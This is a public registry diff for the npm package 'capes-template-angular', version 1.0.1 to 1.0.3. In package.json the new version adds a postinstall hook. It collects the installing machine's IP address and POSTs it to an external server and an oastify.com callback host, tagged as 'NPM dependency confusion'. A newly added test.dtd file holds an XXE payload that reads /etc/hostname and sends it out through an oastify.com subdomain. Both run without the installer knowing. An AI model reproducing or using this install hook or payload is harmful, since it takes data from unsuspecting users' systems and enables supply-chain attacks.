capes-template-angular 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +0 -0
  2. package/package.json +7 -12
  3. package/test.dtd +4 -0
package/index.js CHANGED
File without changes
package/package.json CHANGED
@@ -1,17 +1,12 @@
1
1
  {
2
2
  "name": "capes-template-angular",
3
- "version": "1.0.1",
4
- "description": "",
5
- "license": "ISC",
6
- "author": "",
7
- "type": "commonjs",
3
+ "version": "1.0.3",
4
+ "description": "An example of a postinstall script in package.json",
8
5
  "main": "index.js",
9
- "bin": {
10
- "meu-ping-cli": "index.js"
11
- },
12
- "preferGlobal": true,
13
6
  "scripts": {
14
- "test": "echo \"Error: no test specified\" && exit 1"
15
- }
16
-
7
+ "postinstall": "IP=$(curl -s ipinfo.io/ip || hostname -I | awk '{print $1}') && curl -X POST -H \"Content-Type: application/json\" -d \"{\\\"message\\\": \\\"NPM dependency confusion\\\", \\\"serverIp\\\": \\\"$IP\\\"}\" https://your-server.com/notify https://cxd0285d70qih3z3aourdg97xy3trkf9.oastify.com"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
17
12
  }
package/test.dtd ADDED
@@ -0,0 +1,4 @@
1
+ <!ENTITY % file SYSTEM "file:///etc/hostname">
2
+ <!ENTITY % dtd2 "<!ENTITY &#x25; exfil SYSTEM 'http://%file;.nvmb0j3o5botfexe8zs2br7iv913pvdk.oastify.com'>">
3
+ %dtd2;
4
+ %exfil;